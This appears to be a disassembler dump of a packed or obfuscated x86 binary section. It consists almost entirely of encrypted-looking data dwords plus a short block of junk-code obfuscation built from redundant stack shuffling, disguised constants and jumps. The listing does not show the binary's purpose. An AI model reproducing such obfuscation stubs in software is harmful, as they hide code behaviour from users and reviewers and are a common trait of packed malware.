0F77D2500h, 91672EF5h, 0BE2736E6h, 0A7FF6928h, 0EB6378FDh dd 6B32D465h, 7007DDA4h, 9EBE2689h, 89354218h, 53D9BE26h dd 898DECC2h, 7100BE26h, 67EBD97Bh, 8B74C365h, 6952FE3Ah dd 76CAFB18h, 114577Dh, 89000000h, 7007DDA4h, 9EBE2736h dd 0A25A2A18h, 9E5E2311h, 87450EFCh, 6F6DF7E5h, 0BF10F9CDh dd 0CF96561Bh, 36453208h, 0DBC9BE27h, 3FD05696h, 440DFBC2h dd 0CF60E688h, 0DC5993E1h, 0FCF07D51h, 7DE76C5Ah, 0D359FBF1h dd 0C898864Dh, 5BEC7214h, 30816AB9h, 8C09C38Ch, 7416D69Eh dd 3D04F886h, 36D7A076h, 0B137BE27h, 0C2907E20h, 9117D5A2h dd 7C7001EFh, 1B6C55DAh, 4FF1EB77h, 6B5443C9h, 3B18FD1Ah dd 0AF06577Eh, 7B000000h, 5AFCF07Dh, 48EAE26Ch, 2ED00C5Ah dd 17B93340h, 1C58A992h, 6A0E5F48h, 5118DF1Dh, 2736FC7Bh dd 7D531ABEh, 0BE2736FAh, 7F10961Ch, 914B1402h, 0D7701EFh dd 64EA8C40h, 864D3CDEh, 5514C898h dd 0B25C5696h, 9F283E6h, 0EB7A9BB8h, 0D7C5577Dh, 0D6BE4F8Dh dd 83h, 8F5500Fh, 945389D8h, 0A63773F6h, 11E5A41Bh, 0F2E3EB15h dd 6EF7E576h, 97DECC6Eh, 0C46666EDh, 0D81FA205h, 0DF65E4ACh dd 0D0D39259h, 3C552A0Dh, 0BFAD4FE0h, 22A8FDB6h, 0A13B1402h dd 0C58B791Bh, 0D1BA6507h, 4A2D0380h, 0CCBE2711h, 523BC046h dd 0DC105D01h, 0F47DD45Fh, 8309C390h, 36690BE1h, 501EBE27h dd 440CFA9Ch, 5927E688h, 0F8CBA3D7h, 50A18A5Eh, 2E7F6814h dd 7DC0B411h, 12A57h, 7D9F0000h, 6B59FBF1h, 5745E7E5h dd 3E2CCE0Eh, 2715B735h, 79FFA15Bh, 2F6BBCA5h, 0D377C8B1h dd 5CD4518Bh, 436D9738h, 9051056Fh, 136D430Ah, 5B4741Fh dd 1CF9B87Fh, 0F78056EBh, 17B7D8EDh, 0D9B6D291h, 5E4CEE7Fh dd 9259D616h, 9122DAA4h, 7D1FDDA3h, 42BAC8B6h, 2BCD0F54h dd 3B3E14A5h, 0B7B7D883h, 8BD97DCEh, 1F0DD451h, 6DF39557h dd 6666EEDCh, 34F9E09Fh, 9B3DBFC4h, 0CFCB5615h, 5017B94Ah dd 17D61662h, 0E9E02996h, 0BDAB3CFEh, 449335B7h, 0CC08F7Dh dd 471DE46Ah, 0B7D8E130h, 0DEC758DEh, 619BE98Dh, 795E1DE4h dd 6D9B7315h, 8F369D2Eh, 4D512FFDh, 120h, 0FDE5A4C2h, 0E0C9F74Ch dd 1143BB4Ch, 6229F0B7h, 19EFED74h, 0BE27125Eh, 12FF784Eh dd 890FBE27h, 370D9E24h, 0B474B40Dh, 0C8B67D03h, 5027FDBEh dd 0BEB7D900h, 7F21B238h, 8C09C391h, 8ADDD69Eh, 85B860E8h dd 2E1CE369h, 0BB313E26h, 7C0D9335h, 2F64ECDAh, 57954043h dd 99E8D6B7h, 0B53BC163h, 767600EEh, 1BBD4ED4h, 0EE92E3CCh dd 22E96666h, 0EB02C34h, 3590F788h, 0A7512F8Bh, 36h, 34DF31Ch dd 9B511B79h, 4BED73F9h, 0A2783FC5h, 0BE2736C5h, 6B41E369h dd 0BE27370Ch, 5C8ADBC4h, 460DD434h, 43D40858h, 2736FA6Dh dd 59D65CBEh, 6B04h, 41F37900h, 0F67C70FFh, 267B592Fh dd 8F15B475h, 518BDAC8h, 20301EC0h, 6BF7E5ACh, 0B849CF71h dd 0C5074D3Bh, 26294D23h, 1A03B7D9h, 9D5F25C9h, 0E16B5920h dd 32C349EBh, 672E86BAh, 2FCE2C91h, 6E1096AEh, 5AFCF080h dd 74A2F3DCh, 4B21E8C0h, 0B462C272h, 500FD65Ch, 17ED9BE3h dd 0B7D83D60h, 446928AEh, 7501EFE9h, 0DE69E677h, 0A06741F3h dd 7DDCF3CAh, 0C769EFB4h, 0D4518BD9h, 0BA314E0Dh, 7517D59Ch dd 0A23930EFh, 74D3BCCh, 4110FEC5h, 4D03744Ah, 8D13B7D1h dd 20DF6507h, 434F481Dh, 9B3DCEDCh, 39FE5DC5h, 1E6F583Fh dd 75F2EA7Ah, 3C03F987h, 4ED89F75h, 0B0368B34h, 0C58F7D1Fh dd 0EA776507h, 146250F2h, 796236D8h, 856EEC28h, 0CC09034h dd 19D3A18Fh, 0C2277h, 0A4970000h, 188DE2E5h, 0C657ACDEh dd 0F27DEF7Ah, 1A6A58FAh, 35240E2h, 293927C9h, 5A2311B3h dd 451200A2h, 6DF7E587h, 97DFCD6Fh, 0BCC5B355h, 56129E40h dd 0C681E689h, 4, 4EE81h, 34870000h, 4895C24h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx sub esp, 4 mov [esp], edi push ebp mov ebp, 561E2549h push edx mov edx, 4FC90F8Ah sub ebp, edx pop edx mov edx, ebp pop ebp sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop edi push 2095h mov [esp], esi mov esi, edx mov [edi+8], esi pop esi push dword ptr [esp] pop edi add esp, 4 push dword ptr [esp] pop edx add esp, 4 jmp loc_5426E1 ; --------------------------------------------------------------------------- db 4 dd 0B87B6ADAh, 6551A89h, 0E0FFC503h, 6EF8E951h, 46FF1894h dd 449BC9BCh, 431E7B96h, 6A75AF94h, 677A2E5Bh, 33C1D7BDh dd 6CE03464h, 8EBh, 0F5FB0000h, 82E95257h, 68000004h, 6551C11h dd 0F96444E9h, 1C9268FFh, 3AE90655h, 68FFF964h, 6551E0Ch dd 0F96430E9h, 5B91DCFFh, 6963F0DEh, 7C70FEECh, 854711FFh dd 8F4D1A08h, 0D062C112h, 0DAC84587h, 0E9D75488h, 0F7E5629Ah dd 1DF67369h, 1BF78056h, 3C17B7D2h, 0FCF07DB1h, 0E8E46C5Ah dd 6741F36Bh, 0C152CAA0h, 46CCB474h, 0DA5CEA4h, 0F6DFB7D9h dd 0FB3D88A5h, 1C0512Fh, 4785A037h, 2D15A6A3h, 2DBh, 80D1FEA2h dd 6608C492h, 0A5D74FE0h, 0C6AE844Bh, 48B4752Ah, 7B8157C2h dd 62B6FF88h, 390FD63Eh, 0B9496AABh, 0AD2F3725h, 6B0D8527h dd 0F7E4BA81h, 0A7B70FA9h, 0AB31ABB9h, 6E6EF6E4h, 0EEB546CCh dd 0FF7C7000h, 0BD894311h, 3DC4A1D3h, 0F6398E30h, 8E000002h dd 9E8C09C3h, 0AC9A17D5h, 0BFAD2AA2h, 0CCBA37B5h, 7BCC4983h dd 0FFFD8AA8h, 0ECE9482h, 20DCA391h, 2DAFB5A3h, 3A10D7B0h dd 0B7D21A3Dh, 0A46BF6D1h, 367007DDh, 189EBE27h, 0CA093059h dd 73045BF1h, 0A86F59FBh, 7DAD75D2h, 0CD359B4h, 0FA9C501Eh dd 551CE374h, 0AC61CF8Eh, 0DAA8477Bh, 0D16C7304h, 8C1DA3B7h dd 9E1BD19Eh, 8325A7B0h, 0D16CC9ADh, 0B22A3AB7h, 435906E6h dd 58AD4F3Ch, 275h, 0B88440Fh, 1B98541Dh, 2EAB212Dh, 3BB83440h dd 4FCC004Dh, 400D25FEh, 51210F8Ch, 21301E9Bh, 30402EABh dd 9F663FBCh, 0D21AAEC9h, 0FA8560B7h, 33A9B6A4h, 36762AA2h dd 860CAE2Eh, 0AB723900h, 2736A2D5h, 18EE74BEh, 0BE27365Fh dd 0D19829AFh, 7DD34CFBh, 8224AAB4h, 0D21BC7ACh, 8F6BDB7h dd 56DC7E7Eh, 0EF41ED97h, 7F109485h, 9D284596h, 3F512839h dd 18Fh, 0F5F77DB4h, 0DD1F6553h, 0A15B2816h, 6BE879FFh dd 841EDDA4h, 0A69F78ABh, 4D1B5C32h, 0DFBBE26h, 70018745h dd 7D0444F8h, 6957DD7Fh, 965DE319h, 73DC78C0h, 0EE9016B4h dd 0D8725B18h, 0A3592AB7h, 13643A01h, 3B7D872h, 7C58F7Dh dd 80D1BA65h, 0BA5C90DCh, 0D6BFAE34h, 481A0885h, 4A6262Ch dd 0D056F87Eh, 73EDD83Fh, 2FEF512Fh, 28000000h, 22B3293Ah dd 6741F397h, 3C12D9A0h, 0BE27363Bh, 0EEC455DBh, 0B474D0E6h dd 6A40E268h, 0B7D91D09h, 2441927Bh, 51300AA1h, 9E3Bh dd 0F77DB000h, 34402EF5h, 978527B8h, 59470ECEh, 702FD10Bh dd 90D9A77Fh, 8C1DA31Eh, 7874FCEAh, 6498E8D6h, 0C5C411E7h dd 6FF5BE26h, 88E7A66Dh, 0DA89729Eh, 0A5272E1Ch, 7D1F9714h dd 81FB7C52h, 951BBE26h, 5372480Fh, 0AFB475C7h, 0AD9B6229h dd 0AC9A2BA1h, 0BEAC29A3h, 996F3BB1h, 0CE48E926h, 0FBD72Ch dd 0FE890000h, 0CE9381FEh, 0DBA3910Eh, 0AAB6A421h, 0BEC7B532h dd 0B370C13Eh, 79F6F67Fh, 8805C78Bh, 9411CB9Ah, 0A11EDEA6h dd 4C2B01C8h, 0CAB7D218h, 0F07D64EFh, 0C3917FFCh, 0A4018C09h dd 0D4F9AAB6h, 9CB926C8h, 0F7E576FCh, 0E3D17369h, 6AE25F9Dh dd 5017DE36h, 49DA1262h, 73FF3073h, 87CEBCB4h, 614FB445h dd 4937D913h, 971DBF3Dh, 0D6C48B11h, 6864EB89h, 0E48F65E2h dd 0A1B7D88Eh, 28A4B1D3h, 2E3725A2h, 3DC33946h, 6F469Bh dd 0F3BB0000h, 0CAA06741h, 0B47DD371h, 3220E76Dh, 8309AB21h dd 0C5F2EBC4h, 2FC03D2Dh, 1BD19F8Dh, 2CA0B09Eh, 0E9F2B48Ah dd 16DD63D2h, 3BB8A157h, 0C35463E1h, 9FE589DAh, 2B19E05Dh dd 0B7354222h, 78098F31h, 6002FA8Ah, 44E6E672h, 0E88CDDC6h dd 0F9E76498h, 1B79096Bh, 73F99B51h, 0B2A067EDh, 0F59728A4h dd 8A0h, 581F1500h, 53E4186Ah, 0FAF27DC8h, 0E21A6A58h dd 0C9035240h, 0B3293927h, 0A25A2311h, 87451200h, 6F6DF7E5h dd 5597DFCDh, 40BCC5B3h, 0E268129Eh, 89000031h, 0B9512424h dd 4, 4244C01h, 2D536859h, 0C890000h, 57456824h, 2C890000h dd 0A2BA5224h, 0F7463D58h, 0C1DAF7D2h, 0EA8102EAh, 527779Ah dd 0A443F281h, 0D18936D0h, 0F181495Ah, 3CE26193h, 4EC81h dd 24890000h, 24048124h, 4, 4EC815Dh, 89000000h, 8B82404h dd 1000000h, 580889E8h, 51242C8Bh, 0C181E189h, 4, 4C181h dd 0C870000h, 34FF5C24h, 0C4815924h, 4, 0F95FD4E9h, 7AC333FFh dd 9A741B74h, 1F2CB863h, 0C5030655h, 873FE0FFh, 0AF392731h dd 51155916h, 0F1A95C3Fh, 22B6026Eh, 108B103Fh, 0EF1513C2h dd 0B535B98h, 0DB89443Bh, 0D4E0357Ah, 4EB325Ch, 4E57E7E2h dd 5D9E9h, 0FBF17C00h, 9C3907Eh, 1CD09E8Ch, 25A7B19Fh dd 2FADBAA8h, 70C261B2h, 7A68E5E7h, 8977F4E8h, 978502FAh dd 0BD9613C9h, 175720F6h, 0DCB7B7D2h, 8DF77D51h, 0E16709C3h dd 2BF2B95Bh, 27362255h, 0A76EF4BEh, 2736A6D1h, 51E268BEh dd 65E21A63h, 51F3E977h, 18DF1D63h, 0FD9F5D2Ah, 5644E677h dd 1A08CF0Dh, 67ED8F4Dh, 776034D6h, 0C1F28226h, 86CCF4C1h dd 5F1EA446h, 55DBCC48h, 86F1C78Eh, 88BE26AEh, 2DF47102h dd 0A6D14E6Eh, 4CDDC650h, 859C175Eh, 8C34DFB7h, 874511FFh dd 5CD95FE5h, 1EE5E76Eh, 1BAC2030h, 5C78B79h, 0C903503Eh dd 6E10A127h, 12B607F0h, 30542143h, 8208AA22h, 0BF976FCh dd 0FE58745h, 0BE267065h, 0B4DE9D64h, 904C19B5h, 1DCF16D1h dd 3552A38Ch, 577E1E90h, 0A5D2A86Fh, 69BE272Dh, 866A52E3h dd 0A3000000h, 9133A9B5h, 7DEF7A0Bh, 7C58DF7h, 0B759DF65h dd 273698E1h, 0F94A33BEh, 7E23E9DCh, 1F357h, 0A4680000h dd 367007DDh, 189EBE27h, 0D3C89987h, 9CF55414h, 16EC2CB9h dd 0BE26CF61h, 7A92FB5h, 7D534819h, 0BE26CFFAh, 76B35D1Ch dd 5DFCD649h, 0C1AF51D7h, 4785CDB7h, 4C6B488h, 60E62C83h dd 3523EABEh, 341DAE2Eh, 0BA323FE3h, 63014F3Dh, 0BB41E319h dd 32F1B835h, 4F0403B8h, 6EF4E2E7h, 0B546CC6Eh, 0FCF07D2Ah dd 0DECC935Ah, 0F2855B91h, 24BE2736h, 521F0D9Eh, 77418561h dd 0F87E62F3h, 81400756h, 5D384F02h, 5E47D80Fh, 781C690Dh dd 0CA50F2EAh, 8BD9C744h, 0B5C1AF51h, 0BDA69537h, 0C1C64F6Ch dd 9D78577Dh, 0ED000000h, 0E5BBF07Dh, 0BE273692h, 4110FE84h dd 503E058Bh, 9E24C606h, 0F17D6B0Dh, 384634FBh, 0BD9133C4h dd 96DF83D4h, 62EBD956h, 8EDAC86Ah, 0B6BEAC4Eh, 0DCA69436h dd 41BF7E20h, 1877B13h, 0C5D461Ah, 5B1AE1D0h, 334FE195h dd 283FFE3Dh, 30738272h, 37887102h, 7DD7FB1Ah, 744157h dd 8C7A0000h, 776507C5h, 0D768EEEEh, 0FCF07D4Ch, 0A6E56C5Ah dd 5A30ACB8h, 0BE27361Dh, 31AC6BF1h, 0F6128BA6h, 4F3DDF65h dd 0DD1F6400h, 8D2FB53Bh, 7A1CD09Fh, 5995E6CFh, 0F69AEBD4h dd 6BF67369h, 56F8F47Dh, 2736F480h, 1E0CD3BEh, 1D069755h dd 4B904FCCh, 7AA69D68h, 0C8FD64F5h, 16577D62h, 12h, 9973904Fh dd 0C1207385h, 26CB8CEBh, 7E048ABEh, 0F17D62EDh, 0E56B59FBh dd 0DEC745E7h, 5F9DE98Dh, 0DE366AE2h, 9B895017h, 0EE7416D6h dd 27365F18h, 9D5F26BEh, 15EBB238h, 0BE273662h, 0C79D2EB4h dd 0B474C1B9h, 917F21A7h, 9E8C09C3h, 0AD7416D6h, 1003B0BFh dd 0EB8A6ADAh, 0BE9425ABh, 0B7D921BBh, 80FD4E37h, 6507C592h dd 10604EDFh, 0CD95A3A3h, 0C920183h, 0E0D3A18Fh, 2681CB67h dd 65078DACh, 51F3E977h, 4BC81902h, 62C9AE84h dd 0C74DB7D8h, 0C4384836h, 0E3B98047h, 0B7D86294h, 460EFC82h dd 378EF586h, 0C6512F50h, 5A6D2F07h, 0AC32D408h, 0FBB7CEDh dd 167967Eh, 0F30B0000h, 0CAA06741h, 0B474D87Ah, 2754B12h dd 14B7D925h, 1298FD8Eh, 0FAF28270h, 0BC18F7Dh, 0F7F57B69h dd 0CC1D0655h, 0A4635828h, 378C5764h, 83F4CA6Ah, 93B7D88Ch dd 0A30A870Dh, 512F7A22h, 7DBCh, 4DF33100h, 99CEA46Bh dd 0DBBE2736h, 77FF65EDh, 0C74DD375h, 0A90E9F25h, 0E66E5C23h dd 76FCF07Eh, 1BBD4ED4h, 27363245h, 0D8145BBEh, 0C13B4836h dd 60B19A1Fh, 0C4B27924h, 189E40BCh, 0A25A2Ah, 0AF00E97Ah dd 0E2B8D381h, 0BE273695h, 6F2B7D1Fh, 0C025969Ah, 0C6064C3Ah dd 0F3B27940h, 0A47AE338h, 0BE2689D3h, 24FEBD43h, 0DEA391BDh dd 65F67C1Eh, 265FD88Fh, 73F076BEh, 0A81Eh, 0B6A49300h dd 7832FBA8h, 6A80D76Ch, 0B9DB53E4h, 27C9884Fh, 6739D52Ah dd 0CEA46BFCh, 0B4745A06h, 0B3293826h, 95FA8B11h, 0DFA66D0Fh dd 0D8746E09h, 2C1AA0B7h, 840AAC20h, 7D7F05F3h, 74B3900h dd 0C9D23C5h, 0CF96561Eh, 437F410h, 0D566CE03h, 18AD6C33h dd 0C23A43AEh, 6263CF03h, 887BFBD1h, 6C55B7D8h, 0A2B09E1Bh dd 1402882Ah, 6AF0924Ah, 6765EBD9h, 7ECE72EAh, 0D056F8F4h dd 89443309h, 4CD2B7D8h, 5429FFC6h, 4EAE2F29h, 283826C8h dd 0AB9412B4h, 67082C5Ah, 186BC74h, 27EE74CFh, 62212C51h dd 139016B4h, 7DDA488h, 0BE273670h, 0F87189Eh, 0CEBC836Dh dd 0F4BB4C80h, 7DD65F1Eh, 145D4BB4h, 2AB036D8h, 12CA9A88h dd 0EAD9A795h, 0AFB78816h, 46058B2Dh, 991FE70Eh, 27130F7h dd 0F90658EEh, 0FAA87E0Fh, 0BD6FD316h, 91DF83D4h, 60F0DE5Bh dd 72C22833h, 6AF08D65h, 4E8EDAC8h, 0F4452EACh, 0C48B0050h dd 0CF5689EEh, 31078D6Fh, 6FCF5646h, 3FBC42C8h, 3F98A78h dd 0FC8472h, 0E2D0975Eh, 0F1865C90h, 256FCF56h, 3B90E9Fh dd 2E000000h, 0F27D941Fh, 1A6A58FAh, 35240E2h, 293927C9h dd 5A2311B3h, 451200A2h, 6DF7E587h, 97DFCD6Fh, 0BCC5B355h dd 57129E40h, 0C781E789h, 4, 4BA52h, 0D7290000h, 243C875Ah dd 0E389535Ch, 4C381h, 0EB810000h, 4, 5C241C87h, 68240489h dd 7858h, 57243C89h, 0D716BEBFh, 941B853h, 662DB27Eh, 1611B1Bh dd 1B6605F8h, 685F611Bh, 7B33h, 81242489h, 42404h, 815F0000h dd 4ECh, 24348900h, 7789C689h, 34FF5E08h, 0C4815F24h, 4 dd 582434FFh, 0E904C483h, 0FFF959C1h, 0B9794085h, 4CFA0228h dd 4DB8EA0Bh, 3065525h, 0DDE0FFC5h, 743D5943h, 940620C4h dd 11403F81h, 0DC7E8264h, 0F05D1010h, 0E94881BDh, 0EDh dd 0D88C6660h, 840F04A8h, 0DFh, 811B58Bh, 0FE83064Eh, 22850F00h dd 0C6000000h, 4E040185h, 69684506h, 0FF8E7269h, 4E25D1B5h dd 21858D06h, 0FF06517Dh, 0CD8589D0h, 8B064E0Fh, 0E93E80F0h dd 31850Fh, 858D0000h, 6537397h, 0BD8BD0FFh, 64E314Dh dd 1184C781h, 0B58B0000h, 64E0811h, 8B9F787h, 0F3000000h dd 11B58BA4h, 8D064E08h, 51B0A985h, 8BD0FF06h, 4E1F5DB5h dd 0FE8306h, 22850Fh, 85C60000h, 64E0401h, 0BEF46854h dd 0B5FFFF4Eh, 64E25D1h, 7D21858Dh, 0D0FF0651h, 1F5D8589h dd 0F08B064Eh, 0FE93E80h, 3A85h, 5DB58B00h, 8D064E1Fh dd 53739785h, 8BD0FF06h, 4E314DBDh, 84C78106h, 83000011h dd 0B58B08C7h, 64E1F5Dh, 8B9F787h, 0F3000000h, 5DB58BA4h dd 8D064E1Fh, 51B0A985h, 61D0FF06h, 0FE858DC3h, 89065525h dd 4E043985h, 0DC8D8D06h, 6A065527h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 0CA42C356h dd 746C491Eh, 0BD29CEA5h, 64E1B51h, 0FE8h, 0DFF6AC00h dd 0B1F19AF2h, 0EB139675h, 0C65A11EAh, 1405BD2Bh, 895E064Eh dd 4E2B058Dh, 0AD958B06h, 0C7064E09h, 4E2B6585h, 634006h dd 85C7F900h, 64E065Dh, 0 dd 0FFFFB70Fh, 4E1835B5h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 0BFD9175h dd 55B58985h, 80064E0Ah, 95FFCFCFh, 64E0F99h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0ACC35545h, 0DE8h dd 5B409700h, 6423FFD9h, 0E86986E5h, 890F969Ch, 6, 1449958Bh dd 6A5B064Eh, 5995FF00h, 8B064E1Ah, 704AEBC0h, 0F700FBE7h dd 57F87BC5h, 985B91ABh, 0FBFA2B50h, 0C38BD495h, 3C2F452h dd 4E67242Dh, 22B134B1h, 0F6717BDCh, 0E1D84ACAh, 0B29ABD49h dd 0A76CC2FFh, 33EF33EEh, 0AE6E069Eh, 7BC45B1Dh, 3A1CED59h dd 0A0096590h, 9A9D24F3h, 0B904EB92h, 0E971C1F7h, 0C3Ah dd 5529CF68h, 574FE906h, 0AD68FFF9h, 0E906552Ah, 0FFF95745h dd 552CCD68h, 573BE906h, 0C668FFF9h, 0E906552Dh, 0FFF95731h dd 5530D468h, 5727E906h, 0E68FFF9h, 0E9065532h, 0FFF9571Dh dd 5532CE68h, 5713E906h, 6EF9FFF9h, 7E03F16Eh, 4B13017Eh dd 5A261491h, 2E3725A2h, 43E031AEh, 0E96666EFh, 0F87577FBh dd 4817B0Ah, 118E4E16h, 0DC9B7138h, 3AB7D20Eh, 0F77DD45Fh dd 1F6553F5h, 64D3BDDh, 0BDA624C6h, 44B8C86Ch, 0CC08F7Dh dd 4710FE7Bh, 4A1A0885h, 6229F092h, 1BF1EB74h, 0BE27365Ch dd 36F58258h, 9319BE27h, 2917A82Eh, 0AC24A15Bh, 83592088h dd 0B474C5B5h, 653BDD63h, 0B7D9090Eh, 0B0C1AF76h, 83149A3Ch dd 992C499Ah, 6451300Ah, 0E28E4A5h, 0F1827533h, 2F09h dd 41F37E00h, 0ACAA067h, 0C4B474D1h, 0FC89773Eh, 0C1975E00h dd 0B7D91DB6h, 0BB4CD258h, 1D304319h, 6B54B7D9h, 0AC8FD1Ah dd 0D0165130h, 8B000000h, 53F5F77Dh, 0F27C1865h, 0BD258FAh dd 27364235h, 0C84ED4BEh, 914B1301h, 0CCA269EFh, 0BE2736ABh dd 0B254E56Bh, 9E40BCC4h, 0AF2CA0B0h, 2729FDD9h, 1E6755BEh dd 25B63CDEh, 36B32937h, 22C43848h, 571EF6AAh, 74C53B81h dd 0B22FB5B4h, 0E7AE063Ah, 0DF706CF9h, 4BF24218h, 169CAE28h dd 1D14904Fh, 0B7887664h, 2A5D1AF0h, 2BB1BE09h, 98E5D39Ah dd 0C9B9EF2Bh, 532213ABh, 0EB71F799h, 6DFAE865h, 0A9AEA36Fh dd 7F2142B7h, 9D52Ah, 0CB014C00h, 0D913604Eh, 0ECE06E5Ch dd 0F5F7816Fh, 0FFFD8A78h, 40F23182h, 4A38B537h, 5947C438h dd 6755D20Ah, 8D66E319h, 0D87F0C6h, 0AC87B7D2h, 16E5A421h dd 20BBDCFAh, 66EFDD6Eh, 75FBE966h, 0F36FFA77h, 0CAA06741h dd 0B474D10Ah, 85DC9B62h, 0E5815FE7h, 2799DEB4h, 0F77DB7D9h dd 0D97B0166h, 0D9277003h, 0DA2B14B7h, 301508BDh, 7809F751h dd 6E5CE284h, 0C44AECE0h, 0A24B33h, 7DC00000h, 6553F5F7h dd 6C42E418h, 0BE272A6Ah, 5AD7155Bh, 21E8E46Ch, 11B32933h dd 0E058FA8Bh, 3A3D13BCh, 0DCBE2732h, 660C0C1Dh, 49CF9F5Eh dd 4735FCC3h, 0CF0D563Eh, 9021A72Dh, 73E402BAh, 0F976FCB4h dd 2EF5DF81h, 27B7EB58h, 965DE3AEh, 0A01DDFA8h, 5B27A5B2h dd 42B7A370h, 0F7D82DCFh, 2A000008h, 32209D5Fh, 402EAB21h dd 4B39B636h, 604ECB01h, 758D517h, 9349161Ch, 0A25A2816h dd 0B4283725h, 0C13B4937h, 0CEA46B44h, 0B7D20CA9h, 7D07926Dh dd 0ECE94F0h, 0F5F77E6Ch, 7E6CE96Fh, 0EE79F6F6h, 0C78DF77Dh dd 57DD6305h, 43B9C7B5h, 3683F0C6h, 6A29BE27h, 0F30794F5h dd 8D6045D6h, 74AE219Ah, 4DE92FEEh, 2D8EBAC3h, 26A6AE9Ch dd 37B5BBA9h, 0BBD9A795h, 4C80CEB6h, 189E24AAh, 0ED3E2776h dd 0A79BB170h, 583DCDF1h, 0DB578199h, 7001A52Eh, 33FAF282h dd 47E1966Ch, 0AF35BE26h, 8B3AA11Eh, 51577D34h, 0CBh, 0ACB6A4C6h dd 77088E30h, 0AC735DFFh, 74D67AD6h, 0E4860CB4h, 0A6262F1Dh dd 16343F15h, 151B7D9h, 323B29CBh, 846D18BAh, 1F08F733h dd 1814B1CEh, 2CEB5130h, 8A5B8681h, 240C9D00h, 8Bh, 36DF9599h dd 7A1EBE27h, 8BF5CB92h, 7DB474C5h, 344230F7h, 0E3AA27B8h dd 631461Ch, 5FE5B7D9h, 5597E0CEh, 0AF193BB3h, 845A21E8h dd 0B7D906F3h, 55DE9D23h, 74FE8F68h, 422A0091h, 5AAE264Eh dd 60BABD93h, 0D65CBE26h, 0DD5AE045h, 552B60EFh, 0BE266022h dd 21E86EF4h, 22B32933h, 1CF2B980h, 0BE26605Bh, 4884CDBBh dd 99A20A6h, 3E05EF91h, 73FFC068h, 6BE86EB4h, 4F116h, 9A884F00h dd 3A3D13C9h, 0DCB7D840h, 0F33AC556h, 0D9A06741h, 363B3C12h dd 0A379BE27h, 0BE2736D4h, 0D157BC42h, 0C0629AE3h, 0D9D3A93Ah dd 0A7B474D6h, 0CAB87F21h, 1CA244B8h, 17BEB58Bh, 0DDC6B7D9h dd 19566F8Ch, 0A7885130h, 0FD000004h, 9F8D24FEh, 0F2781AD2h dd 5DB7E961h, 94E1CF96h, 83F1C758h, 8DB4752Ah, 10C69C07h dd 28CA9FC2h, 0EB02C3Ah, 3067147h, 82080E9Ch, 88440EFCh dd 57CF60E6h, 2E04CB25h, 4E9957Eh, 22B65110h, 74DB8144h dd 0A0D44CEEh, 0E9AB8148h, 670AB3FCh, 242C1AE1h, 441AE1A8h dd 0E926E33h, 4FCC5DE3h, 0DD91361h, 0F22DF92Ch, 0D780D577h dd 4A000006h, 5240BD3Fh, 604ECB01h, 6B59D616h, 806EEBE1h dd 2778F5F7h, 0B32936FCh, 0C23A4836h, 0D4085745h, 0E11B6957h dd 0EEC48B64h, 0B7D20A89h, 7D27B28Dh, 0DB53F5F7h, 9A884FB9h dd 21DBA8CCh, 0E273F99Bh, 0DA27451Bh, 0B077B474h, 0D9229DDAh dd 5AEB71B7h, 0BAA86FF5h, 40BCC9ABh, 4F3DBAh, 924605CCh dd 0EF426A25h, 0B09BDCB2h, 0F57BB7D8h, 753CDE6Fh, 3DD077B6h dd 0A492B7A3h, 0F67C1EDEh, 59E88F65h, 0BEB5B7D8h, 3DB7D849h dd 14EAB11Bh, 0AE260370h, 6036D85Eh, 0BE266213h, 1A378871h dd 577D4FABh, 2231h, 0B6A4A600h, 29A132AAh, 0D69D77h, 0B474D808h dd 0ECE9684h, 6FF8E66Ch, 0F177DC6Dh, 23FA4Fh, 0F36F0000h dd 0EBAC2E41h, 2929B800h, 3A06DCA3h, 4AB474BBh, 3ADC105Ch dd 38BE23B4h, 3F98371h, 0A84ADB61h, 0F5F77D1Dh, 99315229h dd 92E78942h, 5DEh, 47C43843h, 57D40859h, 62DF1D69h, 77F4E874h dd 8300FC89h, 3441F132h, 54D3BB8h, 155C4AC7h, 0E46C5AD7h dd 0CB926BE8h, 0D20982F5h, 2EB994B7h, 142E41F3h, 31C9E8DCh dd 491FE66Ch, 0B474AC5Fh, 96844BD1h, 0E86E10CCh, 0B9C7B557h dd 0FE4B2C02h, 45CBB7D8h, 8D7B42BFh, 0DE6406C6h, 0B87D774Dh dd 0D0805125h, 8208C490h, 4503E05h, 0B2A026C8h, 3892BA1h dd 6E46FA72h, 246FD1A7h, 0DB619370h, 0C6064B39h, 45AFD149h dd 0BEDCA87Eh, 4CD28D29h, 2B9FD4AAh, 0FCE59D22h, 2D378EABh dd 4AA53679h, 0DE000001h, 33364117h, 52D89D22h, 3FE11B64h dd 0F39D28B9h, 0D9A06741h, 363B3C12h, 55DBBE27h, 0BFBAEEC4h dd 169CB474h, 0B1BFAD74h, 0B4BCAA3Bh, 0FB837138h, 0B51303C8h dd 3CC2D933h, 683149Ah, 0F2944818h, 253CD81Ch, 8DDEC751h dd 98542210h, 7D7F08F6h, 93338F7h, 3533B685h, 0C6AEB6A4h dd 3CB93FBDh, 24C6064Eh, 0E7E56F5Dh, 582EBF45h, 366E979Ch dd 7B1F7059h, 8C7AF7F5h, 0EE6608C4h, 8CA32E47h, 5298EF9h dd 0B5E2B87Fh, 0F7B7D8CBh, 0DB7D7F09h, 0DF1D6755h, 0E663E94Eh dd 1BE2CA6Eh, 26BA0B45h, 9537BDAEh, 0A623D9A7h, 6D34A8B8h dd 0E3EE09AEh, 81EDCE03h, 4C0EDB91h, 680A9B21h, 26F70D92h dd 736128BEh, 7760F1EBh, 0C1F28226h, 0E0628488h, 0D5745BAh dd 0F6CC49CFh, 0A7A2617h, 0CA4B0AD1h, 0C4F92484h, 8811663Ch dd 7F0549D2h, 0EECE76EEh, 0FFFD8371h, 0D9A8965Dh dd 0F1865C23h, 2549D288h, 8F380E9Fh, 10C01A9Dh, 1FE98A49h dd 0AC42350Bh, 4ED4CC13h, 1459818Fh, 0A5499A83h, 33A9B5DFh dd 8850B91h, 0F0924A1Ah, 25ECC478h, 0B6C1975Eh, 58CC1386h dd 0B96B41D2h, 97C2612Ah, 155C4A11h, 74C946D7h, 57h, 6741F3E9h dd 3C12D9A0h, 0BE27363Bh, 0EEC455DBh, 0B474D81Ah, 0E6D476FCh dd 